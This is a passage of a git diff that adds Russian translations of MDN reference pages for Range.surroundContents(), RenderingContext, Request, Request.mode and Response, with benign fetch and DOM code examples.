+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>compareNode()</code> {{obsolete_inline}}{{non-standard_inline()}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    Removed in {{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isPointInRange()</code>, and <code>comparePoint()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>intersectsNode()</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17.0")}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getClientRects()</code> and <code>getBoundingClientRect()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9</td>
+   <td>15.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td><code>createContextualFragment()</code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting with Gecko 13.0 {{ geckoRelease("13.0") }} the <code>Range</code> object throws a {{ domxref("DOMException") }} as defined in DOM 4, instead of a <code>RangeException</code> defined in prior specifications.</p>
+
+<p>[2] Gecko supported it up to Gecko 1.9, then removed it until Gecko 17 where it was reimplemented, matching the spec.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html
new file mode 100644
index 0000000000..fd9e2d515a
--- /dev/null
+++ b/files/ru/web/api/range/surroundcontents/index.html
@@ -0,0 +1,113 @@
+---
+title: Range.surroundContents()
+slug: Web/API/Range/surroundContents
+translation_of: Web/API/Range/surroundContents
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Метод <strong><code>Range.surroundContents()</code></strong> перемещает содержимое {{ domxref("Range") }} в новый элемент, который расположится в начале указанного диапазона.</p>
+
+<p>Этот медод приблизительно эквивалентен коду <code>newNode.appendChild(<a href="/en/DOM/range.extractContents" title="en/DOM/range.extractContents">range.extractContents()</a>); <a href="/en-US/docs/DOM/range.insertNode" title="/en-US/docs/DOM/range.insertNode">range.insertNode</a>(newNode)</code>. После его работы крайние точки диапазона будут включать в себя <code>newNode</code>.</p>
+
+<p>Если {{ domxref("Range") }} разделяет любой не <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">текстовый</a> элемент хотя бы одной точкой, произойдет исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого произовдет ошибка.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>range</em>.surroundContents(<em>newNode</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>newNode</em></dt>
+ <dd><a href="/en-US/docs/Glossary/Node/DOM">Элемент</a> который будет содержать в себе выделенный текст. </dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var range = document.createRange();
+var newNode = document.createElement("p");
+
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.surroundContents(newNode);
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-surroundcontents', 'Range.surroundContents()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-surroundContents', 'Range.surroundContents()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Начальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox до версии 1.5, содержит ошибку, которая не позволяет отработать <code>Range.surroundContents</code> если начало и конец диапазона являются одним текстовым элементом ({{bug(135928)}}).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/renderingcontext/index.html b/files/ru/web/api/renderingcontext/index.html
new file mode 100644
index 0000000000..041ac640a7
--- /dev/null
+++ b/files/ru/web/api/renderingcontext/index.html
@@ -0,0 +1,40 @@
+---
+title: RenderingContext
+slug: Web/API/RenderingContext
+translation_of: Web/API/RenderingContext
+---
+<p>{{APIRef("Canvas API")}}</p>
+
+<p><span class="seoSummary"><code><strong>RenderingContext</strong></code> - это WebIDL <code>typedef</code> который ссылается на один из интерфейсов, представляющие собой графический контекст внутри элемента <code>&lt;canvas&gt;</code>: </span>{{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}},<span class="seoSummary"> а так же </span>{{domxref("WebGL2RenderingContext")}}</p>
+
+<p>Используя <code>RenderingContext</code>, методы и поля которого могут использоваться любыми из этих интерфейсов могут быть перезаписаны в более простой форме; с тех пор, как <code>&lt;canvas&gt;</code> поддерживает несколько систем прорисовки контекста, это полезная форма спецификации, в буквальном смысле обозначающая "один из интерфейсов"</p>
+
+<p>В любом случае, <code>RenderingContext</code> - просто общее название и оно не является тем, что в основном используют веб-разработчики. Не существует интерфейса <code>RenderingContext</code> как такого и нет классов, наследуемых от него.</p>
+
+<p>Для получения <code>RenderingContext</code> из веб-элемента <code>&lt;canvas&gt;</code> используется метод {{domxref("HTMLCanvasElement.getContext()")}}, возвращающий "один из интерфейсов"</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Внутреннее объявление.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Связанное_с_этим">Связанное с этим</h2>
+
+<ul>
+ <li>Интерфейсы, объединяемые <code>RenderingContext</code>: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} и {{domxref("WebGL2RenderingContext")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the Web</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a> и {{HTMLElement("canvas")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></li>
+</ul>
diff --git a/files/ru/web/api/request/index.html b/files/ru/web/api/request/index.html
new file mode 100644
index 0000000000..500b80cf55
--- /dev/null
+++ b/files/ru/web/api/request/index.html
@@ -0,0 +1,175 @@
+---
+title: Request
+slug: Web/API/Request
+tags:
+  - API
+  - Fetch
+  - Fetch API
+  - Interface
+  - NeedsTranslation
+  - Networking
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Request
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Интерфейс </span></font><strong>Request</strong></code> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> является запросом ресурсов или данных.</p>
+
+<p>Создать новый объект <code>Request</code> можно, используя конструктор {{domxref("Request.Request","Request()")}}, однако чаще всего встречается способ возврата объекта <code>Request</code> , как результат операции API. Например такой как service worker {{domxref("FetchEvent.request")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Request.Request","Request()")}}</dt>
+ <dd>Создаёт новый <code>Request</code> объект.</dd>
+</dl>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt>{{domxref("Request.cache")}} {{readonlyInline}}</dt>
+ <dd>Содержит кэшированное состояние запроса (напр., <code>default</code>, <code>reload</code>, <code>no-cache</code>).</dd>
+ <dt>{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}</dt>
+ <dd>Содержит контекст запроса (напр., <code>audio</code>, <code>image</code>, <code>iframe</code>, итд.)</dd>
+ <dt>{{domxref("Request.credentials")}} {{readonlyInline}}</dt>
+ <dd>Содержит данные идентификации запроса (напр., <code>"omit"</code>, <code>"same-origin"</code>, <code>"include"</code>). Значение по умолчанию: <code>"same-origin"</code>.</dd>
+ <dt>{{domxref("Request.destination")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает строку из {{domxref("RequestDestination")}} enum, описывая назначение запроса. Это строка, указывающая тип запрошенных данных.</dd>
+ <dt>{{domxref("Request.headers")}} {{readonlyInline}}</dt>
+ <dd>Содержит назначенный {{domxref("Headers")}} объект запроса (заголовки).</dd>
+ <dt>{{domxref("Request.integrity")}} {{readonlyInline}}</dt>
+ <dd>Содержит "<a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a>" значение запроса (напр., <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</dd>
+ <dt>{{domxref("Request.method")}} {{readonlyInline}}</dt>
+ <dd>Содержит метод запроса (<code>GET</code>, <code>POST</code>, и т.д.)</dd>
+ <dt>{{domxref("Request.mode")}} {{readonlyInline}}</dt>
+ <dd>Содержит режим запроса (напр., <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, <code>navigate</code>.)</dd>
+ <dt>{{domxref("Request.redirect")}} {{readonlyinline}}</dt>
+ <dd>Содержит режим перенаправления. Может быть одним из следующих: <code>follow</code>, <code>error</code>, или <code>manual</code>.</dd>
+ <dt>{{domxref("Request.referrer")}} {{readonlyInline}}</dt>
+ <dd>Содержит значение "referrer" ("ссылающийся") запроса (например., <code>client</code>).</dd>
+ <dt>{{domxref("Request.referrerPolicy")}} {{readonlyInline}}</dt>
+ <dd>Содержит политику "ссылающегося" данного запроса (e.g., <code>no-referrer</code>).</dd>
+ <dt>{{domxref("Request.url")}} {{readonlyInline}}</dt>
+ <dd>Содержит URL запроса.</dd>
+</dl>
+
+<p><code>Request</code> имплементирует {{domxref("Body")}}, таким образом наследуя следующие параметры:</p>
+
+<dl>
+ <dt>{{domxref("Body.body", "body")}} {{readonlyInline}}</dt>
+ <dd>Простой getter используемый для раскрытия {{domxref("ReadableStream")}} "тела" (body) содержимого.</dd>
+ <dt>{{domxref("Body.bodyUsed", "bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Хранит {{domxref("Boolean")}}, декларирующее использовалось ли "тело" ранее в ответе.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Request.clone()")}}</dt>
+ <dd>Создаёт копию текущего <code>Request</code> объекта.</dd>
+</dl>
+
+<p><code>Request</code> имплементирует {{domxref("Body")}}, таким образом наследуя следующие параметры:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Возвращает promise ("обещание") которое выполняется, возвращая {{domxref("ArrayBuffer")}} репрезентацию тела запроса.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Возвращает promise </dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Возвращает promise который разрешается с помощью {{domxref("FormData")}} представления тела запроса.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Returns a promise that resolves with a {{domxref("JSON")}} representation of the request body.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Returns a promise that resolves with an {{domxref("USVString")}} (text) representation of the request body.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: The {{domxref("Body")}} functions can be run only once; subsequent calls will resolve with empty strings/ArrayBuffers.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In the following snippet, we create a new request using the <code>Request()</code> constructor (for an image file in the same directory as the script), then return some property values of the request:</p>
+
+<pre class="brush: js notranslate">const request = new Request('https://www.mozilla.org/favicon.ico');
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+</pre>
+
+<p>You could then fetch this request by passing the <code>Request</code> object in as a parameter to a {{domxref("WindowOrWorkerGlobalScope.fetch()")}} call, for example:</p>
+
+<pre class="brush: js notranslate">fetch(request)
+  .then(response =&gt; response.blob())
+  .then(blob =&gt; {
+    image.src = URL.createObjectURL(blob);
+  });</pre>
+
+<p>In the following snippet, we create a new request using the <code>Request()</code> constructor with some initial data and body content for an api request which need a body payload:</p>
+
+<pre class="brush: js notranslate">const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'});
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+const bodyUsed = request.bodyUsed;
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Типом тела может быть только {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} или {{domxref("ReadableStream")}} поэтому, для добавления объекта JSON в полезную нагрузку вам необходимо структуировать этот объект.</p>
+</div>
+
+
+
+<p>Вы можете получить этот запрос API, передав объект Request в качестве параметра для вызова {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, например, и получить ответ:</p>
+
+<pre class="brush: js notranslate">fetch(request)
+  .then(response =&gt; {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Что-то пошло не так на API сервере.');
+    }
+  })
+  .then(response =&gt; {
+    console.debug(response);
+    // ...
+  }).catch(error =&gt; {
+    console.error(error);
+  });</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#request-class','Request')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Начальное<br>
+    определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Request")}}</p>
+
+<h2 id="Читай_также">Читай также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/request/mode/index.html b/files/ru/web/api/request/mode/index.html
new file mode 100644
index 0000000000..335261f175
--- /dev/null
+++ b/files/ru/web/api/request/mode/index.html
@@ -0,0 +1,78 @@
+---
+title: Request.mode
+slug: Web/API/Request/mode
+translation_of: Web/API/Request/mode
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<div></div>
+
+<p>Read-only свойство <strong><code>mode</code></strong> интерфейса {{domxref("Request")}} описывает режим запроса (например, <code>cors</code>, <code>no-cors</code>, <code>same-origin</code> или <code>navigate</code>.) Используется для проверки, вызывает ли кросс-доменный запрос корректный ответ, и какие свойства ответа доступны для чтения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>myMode</var> = <var>request</var>.mode;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>
+ <p>Значения <code>RequestMode</code>.</p>
+ </dt>
+ <dd>
+ <p>Соотвествующие доступные значения:</p>
+
+ <ul>
+  <li><code>same-origin</code> — Если запрос сделан к другому origin в этом режиме, то это вызовет ошибку. Можно использовать этот режим, чтобы проверить, что запрос всегда будет обращён к тому же origin, что  и текущий.</li>
+  <li><code>no-cors</code> — Разрешает использование только <code>HEAD</code>, <code>GET</code> или <code>POST</code> методов и <a href="https://fetch.spec.whatwg.org/#simple-header">простых заголовков</a> (т.е. разрешены только простые запросы). Если какой-либо ServiceWorkers перехватит запрос, то он не сможет добавить или изменить заголовки, кроме <a href="https://fetch.spec.whatwg.org/#simple-header">простых</a>. Также, для JavaScript может быть ограничен доступ к любому свойству объекта ответа {{domxref("Response")}}. Это позволяет наверняка знать, что ServiceWorkers не изменили семантику и <span class="tlid-translation translation" lang="ru"><span title="">предотвратить проблемы безопасности и конфиденциальности, возникающие при утечке данных между доменами</span></span>.</li>
+  <li><code>cors</code> — Разрешает кросс-доменные запросы. Например, чтобы получить доступ к некому API, предоставляемое третей стороной. Ожидается, что запрос в этом режиме будет придерживаться <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">CORS протокола</a>. В объекте ответа {{domxref("Response")}} доступен <a href="https://fetch.spec.whatwg.org/#concept-filtered-response-cors">ограниченный набор</a> заголовков, но тело доступно для чтения.</li>
+  <li><code>navigate</code> — Режим, поддерживающий навигацию. Значение <code>navigate</code> предназначено только для использования в HTML навигации. Запрос в этом режиме создаётся только во время навигации между страницами.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h4 id="Default_mode">Default mode</h4>
+
+<p>Запрос может быть создан разными способами и режим запроса<span class="tlid-translation translation" lang="ru"><span title=""> зависит от конкретных средств, с помощью которых он был инициирован</span></span>.</p>
+
+<p>Например, когда объект <code>Request</code> создаётся с помощью конструктора {{domxref("Request.Request")}}, свойство <code>mode</code> этого <code>Request</code> будет иметь значение <code>cors</code>.</p>
+
+<p>Однако, запросы созданные не конструктором {{domxref("Request.Request")}}, будут использовать режим <code>no-cors</code>. Например, для встроенных ресурсов, где запрос инициируется из разметки, если отсуствует атрибут <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code>, то запрос в большинстве случаев будет выполнен в режиме <code>no-cors</code> — то есть для элементов {{HTMLElement("link")}} или {{HTMLElement("script")}} (кроме использования с модулями), или {{HTMLElement("img")}}, {{HTMLElement("audio")}}, {{HTMLElement("video")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, или {{HTMLElement("iframe")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этой части кода создаётся новый запрос (для взятия файла картинки) через конструктор {{domxref("Request.Request()")}}, затем полученный режим сохраняется в переменной:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg');
+var myMode = myRequest.mode; // вернёт "cors" по умолчанию</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request-mode', 'mode')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Request.mode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html
new file mode 100644
index 0000000000..25726a3f0a
--- /dev/null
+++ b/files/ru/web/api/response/index.html
@@ -0,0 +1,159 @@
+---
+title: Response
+slug: Web/API/Response
+tags:
+  - API
+  - Fetch
+  - Fetch API
+  - Interface
+  - Reference
+  - Response
+translation_of: Web/API/Response
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p><span class="seoSummary">Интерфейс <strong><code>Response</code></strong> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> представляет собой ответ на запрос.</span></p>
+
+<p>Вы можете создать новый экземпляр объекта <code>Response</code> используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнетесь с объектом <code>Response</code>, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Response.Response","Response()")}}</dt>
+ <dd>Создаёт новый экземпляр объекта <code>Response</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Response.headers")}} {{readonlyinline}}</dt>
+ <dd>Объект {{domxref("Headers")}}, который описывает заголовок ответа.</dd>
+ <dt>{{domxref("Response.ok")}} {{readonlyinline}}</dt>
+ <dd>Булевское значение, которое указывает, выполнился ли запрос успешно или нет (то есть находится ли код ответа в диапозоне <code>200</code>–<code>299</code>).</dd>
+ <dt>{{domxref("Response.redirected")}} {{ReadOnlyInline}}</dt>
+ <dd>Указывает, является ли результат запроса перенаправлением.</dd>
+ <dt>{{domxref("Response.status")}} {{readonlyinline}}</dt>
+ <dd>Код ответа.</dd>
+ <dt>{{domxref("Response.statusText")}} {{readonlyinline}}</dt>
+ <dd>Строка, соответствующая коду ответа (например, <code>OK</code> для кода <code>200</code>).</dd>
+ <dt>{{domxref("Response.trailers")}}</dt>
+ <dd>A {{domxref("Promise")}} resolving to a {{domxref("Headers")}} object, associated with the response with {{domxref("Response.headers")}} for values of the HTTP {{HTTPHeader("Trailer")}} header.</dd>
+ <dt>{{domxref("Response.type")}} {{readonlyinline}}</dt>
+ <dd>The type of the response (e.g., <code>basic</code>, <code>cors</code>).</dd>
+ <dt>{{domxref("Response.url")}} {{readonlyinline}}</dt>
+ <dd>The URL of the response.</dd>
+ <dt>{{domxref("Response.useFinalURL")}}</dt>
+ <dd>A boolean indicating whether this is the final URL of the response.</dd>
+</dl>
+
+<h3 id="Body_Interface_Properties">Body Interface Properties</h3>
+
+<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following properties available to it:</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter exposing a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Stores a {{domxref("Boolean")}} that declares whether the body has been used in a response yet.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Response.clone()")}}</dt>
+ <dd>Creates a clone of a <code>Response</code> object.</dd>
+ <dt>{{domxref("Response.error()")}}</dt>
+ <dd>Returns a new <code>Response</code> object associated with a network error.</dd>
+ <dt>{{domxref("Response.redirect()")}}</dt>
+ <dd>Creates a new response with a different URL.</dd>
+</dl>
+
+<h3 id="Body_Interface_Methods">Body Interface Methods</h3>
+
+<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following methods available to it:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}, which is a JavaScript value of datatype object, string, etc.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Fetching_an_image">Fetching an image</h3>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/basic-fetch">basic fetch example</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">run example live</a>) we use a simple <code>fetch()</code> call to grab an image and display it in an {{htmlelement("img")}} element. The <code>fetch()</code> call returns a promise, which resolves to the <code>Response</code> object associated with the resource fetch operation.</p>
+
+<p>You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob")}} ({{domxref("Response")}} implements Body) to give the response its correct MIME type.</p>
+
+<pre class="brush: js notranslate">const image = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(blob) {
+  const objectURL = URL.createObjectURL(blob);
+  image.src = objectURL;
+});</pre>
+
+<p>You can also use the {{domxref("Response.Response()")}} constructor to create your own custom <code>Response</code> object:</p>
+
+<pre class="brush: js notranslate">const response = new Response();</pre>
+
+<h3 id="Ajax_запрос">Ajax запрос</h3>
+
+<p>Здесь мы с помощью функции doAjax вызываем PHP скрипт, который генерирует JSON строку, и возвращает распарсенный JSON в виде JavaScript объекта. Также реализована простая обработка ошибок.</p>
+
+<pre class="brush: js notranslate">// Функция, которая делает Ajax запрос
+const doAjax = async () =&gt; {
+    const response = await fetch('Ajax.php'); // Генерируем объект Response
+    if (response.ok) {
+        const jVal = await response.json(); // Парсим тело ответа
+        return Promise.resolve(jVal);
+        }
+    else
+        return Promise.reject('*** PHP file not found');
+    }
+}
+
+// Вызываем doAjax и выводим результат в консоль
+doAjax().then(console.log).catch(console.log);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#response-class','Response')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Response")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/response/response/index.html b/files/ru/web/api/response/response/index.html
new file mode 100644
index 0000000000..6a6b37cfe1
--- /dev/null
+++ b/files/ru/web/api/response/response/index.html
@@ -0,0 +1,81 @@
+---
+title: Response()
+slug: Web/API/Response/Response
+tags:
+  - API
+  - Constructor
+  - Fetch
+  - Reference
+  - Response
+translation_of: Web/API/Response/Response
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>Конструктор <code><strong>Response()</strong></code> создаёт новый объект {{domxref("Response")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <var>myResponse</var> = new Response(<var>body</var>, <var>init</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>body</em> {{optional_inline}}</dt>
+ <dd>Объект, который определяет тело запроса. Может быть <code>null</code> (является значением по-умолчанию), или:
+ <ul>
+  <li>{{domxref("Blob")}}</li>
